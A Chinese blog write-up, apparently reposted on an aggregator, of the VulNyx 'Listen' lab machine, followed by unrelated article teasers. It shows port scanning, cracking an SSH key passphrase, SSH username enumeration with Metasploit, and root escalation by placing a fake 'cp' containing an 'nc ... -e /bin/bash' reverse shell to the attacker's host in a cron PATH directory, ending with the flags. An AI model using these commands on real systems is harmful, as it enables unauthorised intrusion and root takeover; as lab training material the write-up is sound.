news 2026/2/8 5:55:52

【打靶日记】VulNyx 之 Listen

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【打靶日记】VulNyx 之 Listen

主机发现

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# arp-scan -I eth1 -l192.168.56.151 08:00:27:1b:16:5c PCS Systemtechnik GmbH

主机地址为``

端口扫描

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# nmap -p- 192.168.56.151PORT STATE SERVICE22/tcpopenssh8000/tcpopenhttp-alt
┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# nmap -sT -sC -sV -O -p22,8000 192.168.56.151Starting Nmap7.95(https://nmap.org)at2025-12-1716:35 CST Nmap scan reportfor192.168.56.151 Host is up(0.00081s latency). PORT STATE SERVICE VERSION22/tcpopensshOpenSSH7.7(protocol2.0)|ssh-hostkey:|20480c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d(RSA)|2569b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a(ECDSA)|_25685:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df(ED25519)8000/tcpopenhttp SimpleHTTPServer0.6(Python3.7.3)|_http-title: Site doesn't have a title(text/html).|_http-server-header: SimpleHTTP/0.6 Python/3.7.3 MAC Address: 08:00:27:1B:16:5C(PCS Systemtechnik/Oracle VirtualBox virtual NIC)Warning: OSScan results may be unreliable because we could notfindat least1openand1closed port Device type: general purpose|router Running: Linux4.X|5.X, MikroTik RouterOS7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux4.15-5.19, OpenWrt21.02(Linux5.4), MikroTik RouterOS7.2-7.5(Linux5.6.3)Network Distance:1hop OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.Nmap done:1IP address(1hostup)scannedin22.00seconds

8000端口

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# curl 192.168.56.151:8000You just have to listen toopenthe door...

To abel

抓包

攻击环境抓不到包,把靶机换了个地方抓包

抓到一个私钥

爆破私钥密码

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# ssh2john id > tmp┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# john tmp --wordlist=/rockyou.txtUsing default input encoding: UTF-8 Loaded1passwordhash(SSH, SSH private key[RSA/DSA/EC/OPENSSH32/64])Cost1(KDF/cipher[0=MD5/AES1=MD5/3DES2=Bcrypt/AES])is1forall loaded hashes Cost2(iteration count)is2forall loaded hashes Will run2OpenMP threads Press'q'or Ctrl-C to abort, almost any other keyforstatus idontknow(id)1g0:00:00:00 DONE(2025-12-1716:31)100.0g/s 129600p/s 129600c/s 129600C/s cuties..rangers1 Use the"--show"option to display all of the cracked passwords reliably Session completed.

得到密码**/idontknow/**

获取用户名

"22/tcp open ssh OpenSSH 7.7 (protocol 2.0)"ssh版本有点过低

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# searchsploit OpenSSH 7.7----------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title|Path ----------------------------------------------------------------------------------------------------------------------------------- --------------------------------- OpenSSH2.3<7.7- Username Enumeration|linux/remote/45233.py OpenSSH2.3<7.7- Username Enumeration(PoC)|linux/remote/45210.py OpenSSH<7.7- User Enumeration(2)|linux/remote/45939.py ----------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results

发现存在用户名枚举漏洞

使用msf

msf>search openssh Matching Modules================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0post/windows/manage/forward_pageant.normal No Forward SSH Agent Requests To Remote Pageant1post/windows/manage/install_ssh.normal No Install OpenSSHforWindows2post/multi/gather/ssh_creds.normal No Multi Gather OpenSSH PKI Credentials Collection3auxiliary/scanner/ssh/ssh_enumusers.normal No SSH Username Enumeration4\_ action: Malformed Packet...Use a malformed packet5\_ action: Timing Attack...Use a timing attack6exploit/windows/local/unquoted_service_path2001-10-25 great Yes Windows Unquoted Service Path Privilege Escalation Interact with a module by name or index. For example info6, use6or use exploit/windows/local/unquoted_service_path

配置目标主机与字典

msf auxiliary(scanner/ssh/ssh_enumusers)>setRHOSTS192.168.56.151 RHOSTS=>192.168.56.151 msf auxiliary(scanner/ssh/ssh_enumusers)>setUSER_FILE /usr/share/seclists/Usernames/Names/names.txt USER_FILE=>/usr/share/seclists/Usernames/Names/names.txt
msf auxiliary(scanner/ssh/ssh_enumusers)>run[*]192.168.56.151:22 - SSH - Using malformed packet technique[*]192.168.56.151:22 - SSH - Checkingforfalsepositives[*]192.168.56.151:22 - SSH - Starting scan[+]192.168.56.151:22 - SSH - User'abel'found ^C[*]Caught interrupt from the console...[*]Auxiliary module execution completed msf auxiliary(scanner/ssh/ssh_enumusers)>

找到用户abel

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# ssh abel@192.168.56.151 -i idThe authenticity ofhost'192.168.56.151 (192.168.56.151)'can't be established. ED25519 key fingerprint is SHA256:2b+kTRKlx4qeMsfce+AHPgi/ReUzFfLnFbNEPBAg4uk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.151' (ED25519) to the list of known hosts. Enter passphrase for key 'id': Last login: Sat Jun323:19:252023from192.168.1.10 abel@listen:~$iduid=1000(abel)gid=1000(abel)groups=1000(abel)

成功获得abel用户权限

To root

查看定时任务

abel@listen:~$cat/etc/crontab# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.SHELL=/bin/shPATH=/usr/local/sbin:/dev/shm:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed17* * * * rootcd/&&run-parts --report /etc/cron.hourly256* * * roottest-x /usr/sbin/anacron||(cd/&&run-parts --report /etc/cron.daily)476* *7roottest-x /usr/sbin/anacron||(cd/&&run-parts --report /etc/cron.weekly)5261* * roottest-x /usr/sbin/anacron||(cd/&&run-parts --report /etc/cron.monthly)#* * * * * rootcp/var/www/html/index.html /tmp abel@listen:~$

发现会把/var/www/html/index.html 复制到 /tmp 中

其次PATH=/usr/local/sbin:/dev/shm:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

/dev/shm的优先级是在/usr/bin前

abel@listen:/dev/shm$chmod+xcpabel@listen:/dev/shm$catcpnc192.168.56.2478888-e /bin/bash
┌──(root㉿xhh)-[~]└─# nc -lvnp 8888listening on[any]8888...idconnect to[192.168.56.247]from(UNKNOWN)[192.168.56.151]36646uid=0(root)gid=0(root)groups=0(root)

成功获得root权限

user.txt && root.txt

cat/home/abel/user.txt&&cat/root/root.txt 33f3f86a697126c6fe0a39a337ade21a ebe57c4d8c4053199d7f66ec0491da9d
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/7 1:52:26

无人驾驶车辆轨迹跟踪与模型预测控制第二版配套程序整理分享

无人驾驶车辆轨迹跟踪与模型预测控制第二版书中配套程序整理&#xff0c;包括MATLAB simulink模型与Carsim par文件。 一共从第二章到第八章。 已经完全适配Carsim2019与MATLAB2018a以上版本&#xff0c;最好为MATLAB2021a。 包括相关的电子资料。 非常适合学习模型预测控制&am…

作者头像 李华
网站建设 2026/2/6 9:47:19

Cadence 1.8V LDO电路设计:从带隙基准到完整实现

cadance 1.8v LDO电路 cadance virtuoso 设计 模拟电路设计 LDO带隙基准电路设计 带设计报告&#xff08;14页word&#xff09; 基于tsmc18工艺 模拟ic设计 bandgapLDO 1.8v LDO电路 包含工程文件和报告 可以直接打开最近在模拟IC设计的领域里摸爬滚打&#xff0c;深入研究了基…

作者头像 李华
网站建设 2026/2/6 14:46:09

Realme Narzo 90系列印度发布:配备7000mAh电池与50MP摄像头,售价公布

Realme Narzo 90系列印度发布&#xff1a;配备7000mAh电池与50MP摄像头&#xff0c;售价公布 Realme扩充中端产品线 Realme在印度发布了Narzo 90系列&#xff0c;通过Realme Narzo 90 5G和Narzo 90x 5G扩充其中端智能手机阵容。两款机型均配备7000mAh大电池&#xff0c;支持60W…

作者头像 李华
网站建设 2026/2/6 21:42:07

硬核优化5连击,性能暴涨300%!附开箱即用模板,小白也能秒上手!

文为CUDA并行规约系列文章的下篇&#xff0c;本文介绍了5种并行规约算法的实现&#xff0c;并从硬件的角度对它们进行分析和优化&#xff0c;最终给出一个开箱即用的模板代码及其使用示例。勘误首先是一个勘误&#xff0c;在上篇中存在一个拼写错误&#xff0c;线程束的正确单词…

作者头像 李华
网站建设 2026/2/7 10:22:05

GitLab讲解

目录一、GitLab概念二、GitLab安装三、GitLab汉化四、Gitlab使用1、登录基本操作2、使用方法一、GitLab概念 GitLab 是一个用于仓库管理系统的开源项目&#xff0c;使用Git作为代码管理工具&#xff0c;并在此基础上搭建起来的web服务。可通过Web界面进行访问公开的或者私人项…

作者头像 李华
网站建设 2026/2/6 16:56:52

Comsol超构表面动量空间参数图绘制指南

Comsol 超构表面动量空间参数图绘制在超构表面研究领域&#xff0c;绘制动量空间参数图对于理解超构表面的光学特性至关重要。Comsol作为一款强大的多物理场仿真软件&#xff0c;为我们提供了实现这一目标的有效途径。今天就来聊聊如何在Comsol里绘制超构表面动量空间参数图。…

作者头像 李华